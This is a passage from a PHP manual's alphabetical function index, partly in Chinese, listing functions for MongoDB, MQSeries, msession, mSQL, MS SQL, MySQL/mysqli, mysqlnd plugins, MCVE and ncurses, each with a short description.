    • MongoTimestamp::__construct - 创建一个新的时间戳。
    • MongoTimestamp::__toString - 返回时间戳的字符串表示形式
    • MongoWriteConcernException::getDocument - Get the error document
    • move_uploaded_file - 将上传的文件移动到新位置
    • mqseries_back - MQSeries MQBACK
    • mqseries_begin - MQseries MQBEGIN
    • mqseries_close - MQSeries MQCLOSE
    • mqseries_cmit - MQSeries MQCMIT
    • mqseries_conn - MQSeries MQCONN
    • mqseries_connx - MQSeries MQCONNX
    • mqseries_disc - MQSeries MQDISC
    • mqseries_get - MQSeries MQGET
    • mqseries_inq - MQSeries MQINQ
    • mqseries_open - MQSeries MQOPEN
    • mqseries_put - MQSeries MQPUT
    • mqseries_put1 - MQSeries MQPUT1
    • mqseries_set - MQSeries MQSET
    • mqseries_strerror - Returns the error message corresponding to a result code (MQRC)
    • msession_connect - Connect to msession server
    • msession_count - Get session count
    • msession_create - Create a session
    • msession_destroy - Destroy a session
    • msession_disconnect - Close connection to msession server
    • msession_find - Find all sessions with name and value
    • msession_get - Get value from session
    • msession_get_array - Get array of msession variables
    • msession_get_data - Get data session unstructured data
    • msession_inc - Increment value in session
    • msession_list - List all sessions
    • msession_listvar - List sessions with variable
    • msession_lock - Lock a session
    • msession_plugin - Call an escape function within the msession personality plugin
    • msession_randstr - Get random string
    • msession_set - Set value in session
    • msession_set_array - Set msession variables from an array
    • msession_set_data - Set data session unstructured data
    • msession_timeout - Set/get session timeout
    • msession_uniq - Get unique id
    • msession_unlock - Unlock a session
    • msg_get_queue - Create or attach to a message queue
    • msg_queue_exists - Check whether a message queue exists
    • msg_receive - Receive a message from a message queue
    • msg_remove_queue - Destroy a message queue
    • msg_send - Send a message to a message queue
    • msg_set_queue - Set information in the message queue data structure
    • msg_stat_queue - Returns information from the message queue data structure
    • msql - Alias of msql_db_query
    • msql_affected_rows - Returns number of affected rows
    • msql_close - Close mSQL connection
    • msql_connect - Open mSQL connection
    • msql_createdb - 别名 msql_create_db
    • msql_create_db - Create mSQL database
    • msql_data_seek - Move internal row pointer
    • msql_dbname - 别名 msql_result
    • msql_db_query - Send mSQL query
    • msql_drop_db - Drop (delete) mSQL database
    • msql_error - Returns error message of last msql call
    • msql_fetch_array - Fetch row as array
    • msql_fetch_field - Get field information
    • msql_fetch_object - Fetch row as object
    • msql_fetch_row - Get row as enumerated array
    • msql_fieldflags - Alias of msql_field_flags
    • msql_fieldlen - Alias of msql_field_len
    • msql_fieldname - Alias of msql_field_name
    • msql_fieldtable - Alias of msql_field_table
    • msql_fieldtype - Alias of msql_field_type
    • msql_field_flags - Get field flags
    • msql_field_len - Get field length
    • msql_field_name - Get the name of the specified field in a result
    • msql_field_seek - Set field offset
    • msql_field_table - Get table name for field
    • msql_field_type - Get field type
    • msql_free_result - Free result memory
    • msql_list_dbs - List mSQL databases on server
    • msql_list_fields - List result fields
    • msql_list_tables - List tables in an mSQL database
    • msql_numfields - Alias of msql_num_fields
    • msql_numrows - Alias of msql_num_rows
    • msql_num_fields - Get number of fields in result
    • msql_num_rows - Get number of rows in result
    • msql_pconnect - Open persistent mSQL connection
    • msql_query - Send mSQL query
    • msql_regcase - Alias of sql_regcase
    • msql_result - Get result data
    • msql_select_db - Select mSQL database
    • msql_tablename - Alias of msql_result
    • mssql_bind - Adds a parameter to a stored procedure or a remote stored procedure
    • mssql_close - 关闭MS SQL Server链接
    • mssql_connect - 打开MS SQL server链接
    • mssql_data_seek - Moves internal row pointer
    • mssql_execute - Executes a stored procedure on a MS SQL server database
    • mssql_fetch_array - Fetch a result row as an associative array, a numeric array, or both
    • mssql_fetch_assoc - Returns an associative array of the current row in the result
    • mssql_fetch_batch - Returns the next batch of records
    • mssql_fetch_field - Get field information
    • mssql_fetch_object - Fetch row as object
    • mssql_fetch_row - Get row as enumerated array
    • mssql_field_length - Get the length of a field
    • mssql_field_name - Get the name of a field
    • mssql_field_seek - Seeks to the specified field offset
    • mssql_field_type - Gets the type of a field
    • mssql_free_result - Free result memory
    • mssql_free_statement - Free statement memory
    • mssql_get_last_message - Returns the last message from the server
    • mssql_guid_string - Converts a 16 byte binary GUID to a string
    • mssql_init - Initializes a stored procedure or a remote stored procedure
    • mssql_min_error_severity - Sets the minimum error severity
    • mssql_min_message_severity - Sets the minimum message severity
    • mssql_next_result - Move the internal result pointer to the next result
    • mssql_num_fields - Gets the number of fields in result
    • mssql_num_rows - Gets the number of rows in result
    • mssql_pconnect - Open persistent MS SQL connection
    • mssql_query - Send MS SQL query
    • mssql_result - Get result data
    • mssql_rows_affected - Returns the number of records affected by the query
    • mssql_select_db - Select MS SQL database
    • mt_getrandmax - 显示随机数的最大可能值
    • mt_rand - 生成更好的随机数
    • mt_srand - 播下一个更好的随机数发生器种子
    • MultipleIterator::attachIterator - Attaches iterator information
    • MultipleIterator::containsIterator - Checks if an iterator is attached
    • MultipleIterator::countIterators - Gets the number of attached iterator instances
    • MultipleIterator::current - Gets the registered iterator instances
    • MultipleIterator::detachIterator - Detaches an iterator
    • MultipleIterator::getFlags - Gets the flag information
    • MultipleIterator::key - Gets the registered iterator instances
    • MultipleIterator::next - Moves all attached iterator instances forward
    • MultipleIterator::rewind - Rewinds all attached iterator instances
    • MultipleIterator::setFlags - Sets flags
    • MultipleIterator::valid - Checks the validity of sub iterators
    • MultipleIterator::__construct - Constructs a new MultipleIterator
    • Mutex::create - 创建一个互斥量
    • Mutex::destroy - 销毁互斥量
    • Mutex::lock - 给互斥量加锁
    • Mutex::trylock - 尝试给互斥量加锁
    • Mutex::unlock - 释放互斥量上的锁
    • mysqli::$affected_rows - Gets the number of affected rows in a previous MySQL operation
    • mysqli::$client_info - 获取 MySQL 客户端信息
    • mysqli::$connect_errno - Returns the error code from last connect call
    • mysqli::$connect_error - Returns a string description of the last connect error
    • mysqli::$error - Returns a string description of the last error
    • mysqli::$error_list - Returns a list of errors from the last command executed
    • mysqli::$field_count - Returns the number of columns for the most recent query
    • mysqli::$host_info - 返回一个表述使用的连接类型的字符串
    • mysqli::$info - 返回最近执行的 SQL 语句的信息
    • mysqli::$insert_id - 返回最后一条插入语句产生的自增 ID
    • mysqli::$protocol_version - 返回MySQL使用的协议版本号
    • mysqli::$server_info - 返回MySQL服务器的版本号
    • mysqli::$server_version - 作为一个整数返回MySQL服务器的版本
    • mysqli::$sqlstate - 返回上一次 SQL 操作的 SQLSTATE 错误信息
    • mysqli::$thread_id - 返回当前连接的线程 ID
    • mysqli::$warning_count - Returns the number of warnings from the last query for the given link
    • mysqli::autocommit - 打开或关闭本次数据库连接的自动命令提交事务模式
    • mysqli::begin_transaction - Starts a transaction
    • mysqli::change_user - Changes the user of the specified database connection
    • mysqli::character_set_name - 返回当前数据库连接的默认字符编码
    • mysqli::close - 关闭先前打开的数据库连接
    • mysqli::commit - 提交一个事务
    • mysqli::debug - Performs debugging operations
    • mysqli::disable_reads_from_master - 在主从服务器结构中，禁用从主机读取数据
    • mysqli::dump_debug_info - 将调试信息输出到日志
    • mysqli::errno - 返回最近函数调用的错误代码
    • mysqli::get_charset - Returns a character set object
    • mysqli::get_connection_stats - 返回客户端连接的统计数据
    • mysqli::get_warnings - Get result of SHOW WARNINGS
    • mysqli::init - 初始化 MySQLi 并返回一个资源类型的值，这个值可以作为 mysqli_real_connect() 函数的传入参数
    • mysqli::kill - 让服务器杀掉一个 MySQL 线程
    • mysqli::more_results - 检查批量查询中是否还有查询结果
    • mysqli::multi_query - 执行查询
    • mysqli::next_result - 为读取 multi_query 执行之后的下一个结果集做准备
    • mysqli::options - 设置选项
    • mysqli::ping - ping 一个连接，或者如果连接处于断开状态，重新连接
    • mysqli::poll - 轮询连接
    • mysqli::prepare - 准备执行一个 SQL 语句
    • mysqli::query - 对数据库执行一次查询
    • mysqli::real_connect - 建立一个 MySQL 服务器连接
    • mysqli::real_escape_string - 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义
    • mysqli::real_query - 执行一个mysql查询
    • mysqli::reap_async_query - 获取异步查询的结果
    • mysqli::refresh - 刷新
    • mysqli::release_savepoint - 从当前事务的保存点中移除一个命名保存点
    • mysqli::rollback - 回退当前事务
    • mysqli::rpl_query_type - 返回 RPL 查询类型
    • mysqli::savepoint - 在当前事务中增加一个命名保存点
    • mysqli::select_db - 选择用于数据库查询的默认数据库
    • mysqli::send_query - 发送请求并返回结果
    • mysqli::set_charset - 设置默认字符编码
    • mysqli::set_local_infile_default - 取消用户指定的回调函数
    • mysqli::set_local_infile_handler - 设置 LOAD DATA LOCAL INFILE 命令的回调函数
    • mysqli::set_opt - Alias of mysqli_options
    • mysqli::ssl_set - 使用 SSL 建立到数据库之间的安全连接
    • mysqli::stat - 获取当前系统状态信息
    • mysqli::stmt_init - 初始化一条语句并返回一个用于mysqli_stmt_prepare(调用)的对象
    • mysqli::store_result - 转移上一次查询返回的结果集
    • mysqli::thread_safe - 返回是否是线程安全的
    • mysqli::use_result - Initiate a result set retrieval
    • mysqli::__construct - Open a new connection to the MySQL server
    • mysqli_bind_param - mysqli_stmt_bind_param 的别名
    • mysqli_bind_result - mysqli_stmt_bind_result 的别名
    • mysqli_client_encoding - mysqli_character_set_name 的别名
    • mysqli_connect - 别名 mysqli::__construct
    • mysqli_disable_rpl_parse - 禁用RPL解析
    • mysqli_driver::$report_mode - Enables or disables internal report functions
    • mysqli_driver::embedded_server_end - Stop embedded server
    • mysqli_driver::embedded_server_start - Initialize and start embedded server
    • mysqli_enable_reads_from_master - 开启从主机读取
    • mysqli_enable_rpl_parse - 开启RPL解析
    • mysqli_escape_string - 别名 mysqli_real_escape_string
    • mysqli_execute - mysqli_stmt_execute 的别名
    • mysqli_fetch - mysqli_stmt_fetch 的别名。
    • mysqli_get_cache_stats - 返回客户端Zval缓存统计信息
    • mysqli_get_client_stats - 返回客户端进程统计信息
    • mysqli_get_client_version - 作为一个整数返回MySQL客户端的版本
    • mysqli_get_links_stats - 返回打开和缓存的链接相关信息
    • mysqli_get_metadata - mysqli_stmt_result_metadata 的别名
    • mysqli_master_query - 在主/从机制中强制在主机中执行一个查询
    • mysqli_param_count - mysqli_stmt_param_count 的别名
    • mysqli_report - 别名 mysqli_driver->report_mode
    • mysqli_result::$current_field - Get current field offset of a result pointer
    • mysqli_result::$field_count - Get the number of fields in a result
    • mysqli_result::$lengths - Returns the lengths of the columns of the current row in the result set
    • mysqli_result::$num_rows - Gets the number of rows in a result
    • mysqli_result::data_seek - Adjusts the result pointer to an arbitrary row in the result
    • mysqli_result::fetch_all - Fetches all result rows as an associative array, a numeric array, or both
    • mysqli_result::fetch_array - Fetch a result row as an associative, a numeric array, or both
    • mysqli_result::fetch_assoc - Fetch a result row as an associative array
    • mysqli_result::fetch_field - Returns the next field in the result set
    • mysqli_result::fetch_fields - Returns an array of objects representing the fields in a result set
    • mysqli_result::fetch_field_direct - Fetch meta-data for a single field
    • mysqli_result::fetch_object - Returns the current row of a result set as an object
    • mysqli_result::fetch_row - Get a result row as an enumerated array
    • mysqli_result::field_seek - Set result pointer to a specified field offset
    • mysqli_result::free - Frees the memory associated with a result
    • mysqli_rpl_parse_enabled - 检查是否开启了 RPL 解析
    • mysqli_rpl_probe - RPL 探测
    • mysqli_send_long_data - mysqli_stmt_send_long_data 的别名
    • mysqli_slave_query - 在主/从机制中强制在从机上执行一个查询
    • mysqli_stmt::$affected_rows - Returns the total number of rows changed, deleted, or inserted by the last executed statement
    • mysqli_stmt::$errno - Returns the error code for the most recent statement call
    • mysqli_stmt::$error - Returns a string description for last statement error
    • mysqli_stmt::$error_list - Returns a list of errors from the last statement executed
    • mysqli_stmt::$field_count - Returns the number of field in the given statement
    • mysqli_stmt::$insert_id - Get the ID generated from the previous INSERT operation
    • mysqli_stmt::$num_rows - Return the number of rows in statements result set
    • mysqli_stmt::$param_count - Returns the number of parameter for the given statement
    • mysqli_stmt::$sqlstate - Returns SQLSTATE error from previous statement operation
    • mysqli_stmt::attr_get - Used to get the current value of a statement attribute
    • mysqli_stmt::attr_set - Used to modify the behavior of a prepared statement
    • mysqli_stmt::bind_param - Binds variables to a prepared statement as parameters
    • mysqli_stmt::bind_result - Binds variables to a prepared statement for result storage
    • mysqli_stmt::close - Closes a prepared statement
    • mysqli_stmt::data_seek - Seeks to an arbitrary row in statement result set
    • mysqli_stmt::execute - Executes a prepared Query
    • mysqli_stmt::fetch - Fetch results from a prepared statement into the bound variables
    • mysqli_stmt::free_result - Frees stored result memory for the given statement handle
    • mysqli_stmt::get_result - Gets a result set from a prepared statement
    • mysqli_stmt::get_warnings - Get result of SHOW WARNINGS
    • mysqli_stmt::more_results - Check if there are more query results from a multiple query
    • mysqli_stmt::next_result - Reads the next result from a multiple query
    • mysqli_stmt::prepare - Prepare an SQL statement for execution
    • mysqli_stmt::reset - Resets a prepared statement
    • mysqli_stmt::result_metadata - Returns result set metadata from a prepared statement
    • mysqli_stmt::send_long_data - Send data in blocks
    • mysqli_stmt::store_result - Transfers a result set from a prepared statement
    • mysqli_stmt::__construct - Constructs a new mysqli_stmt object
    • mysqli_warning::next - Fetch next warning
    • mysqli_warning::__construct - The __construct purpose
    • MysqlndUhConnection::changeUser - Changes the user of the specified mysqlnd database connection
    • MysqlndUhConnection::charsetName - Returns the default character set for the database connection
    • MysqlndUhConnection::close - Closes a previously opened database connection
    • MysqlndUhConnection::connect - Open a new connection to the MySQL server
    • MysqlndUhConnection::endPSession - End a persistent connection
    • MysqlndUhConnection::escapeString - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • MysqlndUhConnection::getAffectedRows - Gets the number of affected rows in a previous MySQL operation
    • MysqlndUhConnection::getErrorNumber - Returns the error code for the most recent function call
    • MysqlndUhConnection::getErrorString - Returns a string description of the last error
    • MysqlndUhConnection::getFieldCount - Returns the number of columns for the most recent query
    • MysqlndUhConnection::getHostInformation - Returns a string representing the type of connection used
    • MysqlndUhConnection::getLastInsertId - Returns the auto generated id used in the last query
    • MysqlndUhConnection::getLastMessage - Retrieves information about the most recently executed query
    • MysqlndUhConnection::getProtocolInformation - Returns the version of the MySQL protocol used
    • MysqlndUhConnection::getServerInformation - Returns the version of the MySQL server
    • MysqlndUhConnection::getServerStatistics - Gets the current system status
    • MysqlndUhConnection::getServerVersion - Returns the version of the MySQL server as an integer
    • MysqlndUhConnection::getSqlstate - Returns the SQLSTATE error from previous MySQL operation
    • MysqlndUhConnection::getStatistics - Returns statistics about the client connection
    • MysqlndUhConnection::getThreadId - Returns the thread ID for the current connection
    • MysqlndUhConnection::getWarningCount - Returns the number of warnings from the last query for the given link
    • MysqlndUhConnection::init - Initialize mysqlnd connection
    • MysqlndUhConnection::killConnection - Asks the server to kill a MySQL thread
    • MysqlndUhConnection::listFields - List MySQL table fields
    • MysqlndUhConnection::listMethod - Wrapper for assorted list commands
    • MysqlndUhConnection::moreResults - Check if there are any more query results from a multi query
    • MysqlndUhConnection::nextResult - Prepare next result from multi_query
    • MysqlndUhConnection::ping - Pings a server connection, or tries to reconnect if the connection has gone down
    • MysqlndUhConnection::query - Performs a query on the database
    • MysqlndUhConnection::queryReadResultsetHeader - Read a result set header
    • MysqlndUhConnection::reapQuery - Get result from async query
    • MysqlndUhConnection::refreshServer - Flush or reset tables and caches
    • MysqlndUhConnection::restartPSession - Restart a persistent mysqlnd connection
    • MysqlndUhConnection::selectDb - Selects the default database for database queries
    • MysqlndUhConnection::sendClose - Sends a close command to MySQL
    • MysqlndUhConnection::sendQuery - Sends a query to MySQL
    • MysqlndUhConnection::serverDumpDebugInformation - Dump debugging information into the log for the MySQL server
    • MysqlndUhConnection::setAutocommit - Turns on or off auto-committing database modifications
    • MysqlndUhConnection::setCharset - Sets the default client character set
    • MysqlndUhConnection::setClientOption - Sets a client option
    • MysqlndUhConnection::setServerOption - Sets a server option
    • MysqlndUhConnection::shutdownServer - The shutdownServer purpose
    • MysqlndUhConnection::simpleCommand - Sends a basic COM_* command
    • MysqlndUhConnection::simpleCommandHandleResponse - Process a response for a basic COM_* command send to the client
    • MysqlndUhConnection::sslSet - Used for establishing secure connections using SSL
    • MysqlndUhConnection::stmtInit - Initializes a statement and returns a resource for use with mysqli_statement::prepare
    • MysqlndUhConnection::storeResult - Transfers a result set from the last query
    • MysqlndUhConnection::txCommit - Commits the current transaction
    • MysqlndUhConnection::txRollback - Rolls back current transaction
    • MysqlndUhConnection::useResult - Initiate a result set retrieval
    • MysqlndUhConnection::__construct - The __construct purpose
    • MysqlndUhPreparedStatement::execute - Executes a prepared Query
    • MysqlndUhPreparedStatement::prepare - Prepare an SQL statement for execution
    • MysqlndUhPreparedStatement::__construct - The __construct purpose
    • mysqlnd_memcache_get_config - Returns information about the plugin configuration
    • mysqlnd_memcache_set - Associate a MySQL connection with a Memcache connection
    • mysqlnd_ms_dump_servers - Returns a list of currently configured servers
    • mysqlnd_ms_fabric_select_global - Switch to global sharding server for a given table
    • mysqlnd_ms_fabric_select_shard - Switch to shard
    • mysqlnd_ms_get_last_gtid - 返回最后的全局同步 ID (GTID)
    • mysqlnd_ms_get_last_used_connection - Returns an array which describes the last used connection
    • mysqlnd_ms_get_stats - Returns query distribution and connection statistics
    • mysqlnd_ms_match_wild - Finds whether a table name matches a wildcard pattern or not
    • mysqlnd_ms_query_is_select - 查询给定的 SQL 会发送给 master、slave 还是最后使用的 MySQL server 执行。
    • mysqlnd_ms_set_qos - Sets the quality of service needed from the cluster
    • mysqlnd_ms_set_user_pick_server - Sets a callback for user-defined read/write splitting
    • mysqlnd_ms_xa_begin - Starts a distributed/XA transaction among MySQL servers
    • mysqlnd_ms_xa_commit - Commits a distributed/XA transaction among MySQL servers
    • mysqlnd_ms_xa_gc - Garbage collects unfinished XA transactions after severe errors
    • mysqlnd_ms_xa_rollback - Rolls back a distributed/XA transaction among MySQL servers
    • mysqlnd_qc_clear_cache - Flush all cache contents
    • mysqlnd_qc_get_available_handlers - Returns a list of available storage handler
    • mysqlnd_qc_get_cache_info - Returns information on the current handler, the number of cache entries and cache entries, if available
    • mysqlnd_qc_get_core_stats - Statistics collected by the core of the query cache
    • mysqlnd_qc_get_normalized_query_trace_log - Returns a normalized query trace log for each query inspected by the query cache
    • mysqlnd_qc_get_query_trace_log - Returns a backtrace for each query inspected by the query cache
    • mysqlnd_qc_set_cache_condition - Set conditions for automatic caching
    • mysqlnd_qc_set_is_select - Installs a callback which decides whether a statement is cached
    • mysqlnd_qc_set_storage_handler - Change current storage handler
    • mysqlnd_qc_set_user_handlers - Sets the callback functions for a user-defined procedural storage handler
    • mysqlnd_uh_convert_to_mysqlnd - Converts a MySQL connection handle into a mysqlnd connection handle
    • mysqlnd_uh_set_connection_proxy - Installs a proxy for mysqlnd connections
    • mysqlnd_uh_set_statement_proxy - Installs a proxy for mysqlnd statements
    • mysql_affected_rows - 取得前一次 MySQL 操作所影响的记录行数
    • mysql_client_encoding - 返回字符集的名称
    • mysql_close - 关闭 MySQL 连接
    • mysql_connect - 打开一个到 MySQL 服务器的连接
    • mysql_create_db - 新建一个 MySQL 数据库
    • mysql_data_seek - 移动内部结果的指针
    • mysql_db_name - 取得结果数据
    • mysql_db_query - 发送一条 MySQL 查询
    • mysql_drop_db - 丢弃（删除）一个 MySQL 数据库
    • mysql_errno - 返回上一个 MySQL 操作中的错误信息的数字编码
    • mysql_error - 返回上一个 MySQL 操作产生的文本错误信息
    • mysql_escape_string - 转义一个字符串用于 mysql_query
    • mysql_fetch_array - 从结果集中取得一行作为关联数组，或数字数组，或二者兼有
    • mysql_fetch_assoc - 从结果集中取得一行作为关联数组
    • mysql_fetch_field - 从结果集中取得列信息并作为对象返回
    • mysql_fetch_lengths - 取得结果集中每个输出的长度
    • mysql_fetch_object - 从结果集中取得一行作为对象
    • mysql_fetch_row - 从结果集中取得一行作为枚举数组
    • mysql_field_flags - 从结果中取得和指定字段关联的标志
    • mysql_field_len - 返回指定字段的长度
    • mysql_field_name - 取得结果中指定字段的字段名
    • mysql_field_seek - 将结果集中的指针设定为制定的字段偏移量
    • mysql_field_table - 取得指定字段所在的表名
    • mysql_field_type - 取得结果集中指定字段的类型
    • mysql_free_result - 释放结果内存
    • mysql_get_client_info - 取得 MySQL 客户端信息
    • mysql_get_host_info - 取得 MySQL 主机信息
    • mysql_get_proto_info - 取得 MySQL 协议信息
    • mysql_get_server_info - 取得 MySQL 服务器信息
    • mysql_info - 取得最近一条查询的信息
    • mysql_insert_id - 取得上一步 INSERT 操作产生的 ID
    • mysql_list_dbs - 列出 MySQL 服务器中所有的数据库
    • mysql_list_fields - 列出 MySQL 结果中的字段
    • mysql_list_processes - 列出 MySQL 进程
    • mysql_list_tables - 列出 MySQL 数据库中的表
    • mysql_num_fields - 取得结果集中字段的数目
    • mysql_num_rows - 取得结果集中行的数目
    • mysql_pconnect - 打开一个到 MySQL 服务器的持久连接
    • mysql_ping - Ping 一个服务器连接，如果没有连接则重新连接
    • mysql_query - 发送一条 MySQL 查询
    • mysql_real_escape_string - 转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集
    • mysql_result - 取得结果数据
    • mysql_select_db - 选择 MySQL 数据库
    • mysql_set_charset - 设置客户端的字符集
    • mysql_stat - 取得当前系统状态
    • mysql_tablename - 取得表名
    • mysql_thread_id - 返回当前线程的 ID
    • mysql_unbuffered_query - 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行
    • m_checkstatus - Check to see if a transaction has completed
    • m_completeauthorizations - Number of complete authorizations in queue, returning an array of their identifiers
    • m_connect - Establish the connection to MCVE
    • m_connectionerror - Get a textual representation of why a connection failed
    • m_deletetrans - Delete specified transaction from MCVE_CONN structure
    • m_destroyconn - Destroy the connection and MCVE_CONN structure
    • m_destroyengine - Free memory associated with IP/SSL connectivity
    • m_getcell - Get a specific cell from a comma delimited response by column name
    • m_getcellbynum - Get a specific cell from a comma delimited response by column number
    • m_getcommadelimited - Get the RAW comma delimited data returned from MCVE
    • m_getheader - Get the name of the column in a comma-delimited response
    • m_initconn - Create and initialize an MCVE_CONN structure
    • m_initengine - Ready the client for IP/SSL Communication
    • m_iscommadelimited - Checks to see if response is comma delimited
    • m_maxconntimeout - The maximum amount of time the API will attempt a connection to MCVE
    • m_monitor - Perform communication with MCVE (send/receive data) Non-blocking
    • m_numcolumns - Number of columns returned in a comma delimited response
    • m_numrows - Number of rows returned in a comma delimited response
    • m_parsecommadelimited - Parse the comma delimited response so m_getcell, etc will work
    • m_responsekeys - Returns array of strings which represents the keys that can be used for response parameters on this transaction
    • m_responseparam - Get a custom response parameter
    • m_returnstatus - Check to see if the transaction was successful
    • m_setblocking - Set blocking/non-blocking mode for connection
    • m_setdropfile - Set the connection method to Drop-File
    • m_setip - Set the connection method to IP
    • m_setssl - Set the connection method to SSL
    • m_setssl_cafile - Set SSL CA (Certificate Authority) file for verification of server certificate
    • m_setssl_files - Set certificate key files and certificates if server requires client certificate verification
    • m_settimeout - Set maximum transaction time (per trans)
    • m_sslcert_gen_hash - Generate hash for SSL client certificate verification
    • m_transactionssent - Check to see if outgoing buffer is clear
    • m_transinqueue - Number of transactions in client-queue
    • m_transkeyval - Add key/value pair to a transaction. Replaces deprecated transparam()
    • m_transnew - Start a new transaction
    • m_transsend - Finalize and send the transaction
    • m_uwait - Wait x microsecs
    • m_validateidentifier - Whether or not to validate the passed identifier on any transaction it is passed to
    • m_verifyconnection - Set whether or not to PING upon connect to verify connection
    • m_verifysslcert - Set whether or not to verify the server ssl certificate
  • n
    • natcasesort - 用“自然排序”算法对数组进行不区分大小写字母的排序
    • natsort - 用“自然排序”算法对数组排序
    • ncurses_addch - Add character at current position and advance cursor
    • ncurses_addchnstr - Add attributed string with specified length at current position
    • ncurses_addchstr - Add attributed string at current position
    • ncurses_addnstr - Add string with specified length at current position
    • ncurses_addstr - Output text at current position
    • ncurses_assume_default_colors - Define default colors for color 0
    • ncurses_attroff - Turn off the given attributes
    • ncurses_attron - Turn on the given attributes
    • ncurses_attrset - Set given attributes
    • ncurses_baudrate - Returns baudrate of terminal
    • ncurses_beep - Let the terminal beep
    • ncurses_bkgd - Set background property for terminal screen
    • ncurses_bkgdset - Control screen background
    • ncurses_border - Draw a border around the screen using attributed characters
    • ncurses_bottom_panel - Moves a visible panel to the bottom of the stack
    • ncurses_can_change_color - Checks if terminal color definitions can be changed
    • ncurses_cbreak - Switch off input buffering
    • ncurses_clear - Clear screen
    • ncurses_clrtobot - Clear screen from current position to bottom
    • ncurses_clrtoeol - Clear screen from current position to end of line
    • ncurses_color_content - Retrieves RGB components of a color
    • ncurses_color_set - Set active foreground and background colors
    • ncurses_curs_set - Set cursor state
    • ncurses_define_key - Define a keycode
    • ncurses_def_prog_mode - Saves terminals (program) mode
    • ncurses_def_shell_mode - Saves terminals (shell) mode
    • ncurses_delay_output - Delay output on terminal using padding characters
    • ncurses_delch - Delete character at current position, move rest of line left
    • ncurses_deleteln - Delete line at current position, move rest of screen up
    • ncurses_delwin - Delete a ncurses window
    • ncurses_del_panel - Remove panel from the stack and delete it (but not the associated window)
    • ncurses_doupdate - Write all prepared refreshes to terminal
    • ncurses_echo - Activate keyboard input echo
    • ncurses_echochar - Single character output including refresh
    • ncurses_end - Stop using ncurses, clean up the screen
    • ncurses_erase - Erase terminal screen
    • ncurses_erasechar - Returns current erase character
    • ncurses_filter - Set LINES for iniscr() and newterm() to 1
    • ncurses_flash - Flash terminal screen (visual bell)
    • ncurses_flushinp - Flush keyboard input buffer
    • ncurses_getch - Read a character from keyboard
    • ncurses_getmaxyx - Returns the size of a window
    • ncurses_getmouse - Reads mouse event
    • ncurses_getyx - Returns the current cursor position for a window
    • ncurses_halfdelay - Put terminal into halfdelay mode
    • ncurses_has_colors - Checks if terminal has color capabilities
    • ncurses_has_ic - Check for insert- and delete-capabilities
    • ncurses_has_il - Check for line insert- and delete-capabilities
    • ncurses_has_key - Check for presence of a function key on terminal keyboard
    • ncurses_hide_panel - Remove panel from the stack, making it invisible
    • ncurses_hline - Draw a horizontal line at current position using an attributed character and max. n characters long
    • ncurses_inch - Get character and attribute at current position
    • ncurses_init - Initialize ncurses
    • ncurses_init_color - Define a terminal color
    • ncurses_init_pair - Define a color pair
    • ncurses_insch - Insert character moving rest of line including character at current position
    • ncurses_insdelln - Insert lines before current line scrolling down (negative numbers delete and scroll up)
    • ncurses_insertln - Insert a line, move rest of screen down
    • ncurses_insstr - Insert string at current position, moving rest of line right
    • ncurses_instr - Reads string from terminal screen
    • ncurses_isendwin - Ncurses is in endwin mode, normal screen output may be performed
    • ncurses_keyok - Enable or disable a keycode
    • ncurses_keypad - Turns keypad on or off
    • ncurses_killchar - Returns current line kill character
    • ncurses_longname - Returns terminals description
    • ncurses_meta - Enables/Disable 8-bit meta key information
    • ncurses_mouseinterval - Set timeout for mouse button clicks
    • ncurses_mousemask - Sets mouse options
    • ncurses_mouse_trafo - Transforms coordinates
    • ncurses_move - Move output position
    • ncurses_move_panel - Moves a panel so that its upper-left corner is at [startx, starty]
    • ncurses_mvaddch - Move current position and add character
    • ncurses_mvaddchnstr - Move position and add attributed string with specified length
    • ncurses_mvaddchstr - Move position and add attributed string
    • ncurses_mvaddnstr - Move position and add string with specified length
    • ncurses_mvaddstr - Move position and add string
    • ncurses_mvcur - Move cursor immediately
    • ncurses_mvdelch - Move position and delete character, shift rest of line left
    • ncurses_mvgetch - Move position and get character at new position
    • ncurses_mvhline - Set new position and draw a horizontal line using an attributed character and max. n characters long
    • ncurses_mvinch - Move position and get attributed character at new position
    • ncurses_mvvline - Set new position and draw a vertical line using an attributed character and max. n characters long
    • ncurses_mvwaddstr - Add string at new position in window
    • ncurses_napms - Sleep
    • ncurses_newpad - Creates a new pad (window)
    • ncurses_newwin - Create a new window
    • ncurses_new_panel - Create a new panel and associate it with window
    • ncurses_nl - Translate newline and carriage return / line feed
    • ncurses_nocbreak - Switch terminal to cooked mode
    • ncurses_noecho - Switch off keyboard input echo
    • ncurses_nonl - Do not translate newline and carriage return / line feed
    • ncurses_noqiflush - Do not flush on signal characters
    • ncurses_noraw - Switch terminal out of raw mode
    • ncurses_pair_content - Retrieves foreground and background colors of a color pair
    • ncurses_panel_above - Returns the panel above panel
    • ncurses_panel_below - Returns the panel below panel
    • ncurses_panel_window - Returns the window associated with panel
    • ncurses_pnoutrefresh - Copies a region from a pad into the virtual screen
    • ncurses_prefresh - Copies a region from a pad into the virtual screen
    • ncurses_putp - Apply padding information to the string and output it
    • ncurses_qiflush - Flush on signal characters
    • ncurses_raw - Switch terminal into raw mode
    • ncurses_refresh - Refresh screen
    • ncurses_replace_panel - Replaces the window associated with panel
    • ncurses_resetty - Restores saved terminal state
    • ncurses_reset_prog_mode - Resets the prog mode saved by def_prog_mode
    • ncurses_reset_shell_mode - Resets the shell mode saved by def_shell_mode
    • ncurses_savetty - Saves terminal state
    • ncurses_scrl - Scroll window content up or down without changing current position
    • ncurses_scr_dump - Dump screen content to file
    • ncurses_scr_init - Initialize screen from file dump
    • ncurses_scr_restore - Restore screen from file dump
    • ncurses_scr_set - Inherit screen from file dump
    • ncurses_show_panel - Places an invisible panel on top of the stack, making it visible
    • ncurses_slk_attr - Returns current soft label key attribute
    • ncurses_slk_attroff - Turn off the given attributes for soft function-key labels
    • ncurses_slk_attron - Turn on the given attributes for soft function-key labels
    • ncurses_slk_attrset - Set given attributes for soft function-key labels
    • ncurses_slk_clear - Clears soft labels from screen
    • ncurses_slk_color - Sets color for soft label keys
    • ncurses_slk_init - Initializes soft label key functions
    • ncurses_slk_noutrefresh - Copies soft label keys to virtual screen
    • ncurses_slk_refresh - Copies soft label keys to screen
    • ncurses_slk_restore - Restores soft label keys
    • ncurses_slk_set - Sets function key labels
    • ncurses_slk_touch - Forces output when ncurses_slk_noutrefresh is performed
    • ncurses_standend - Stop using 'standout' attribute
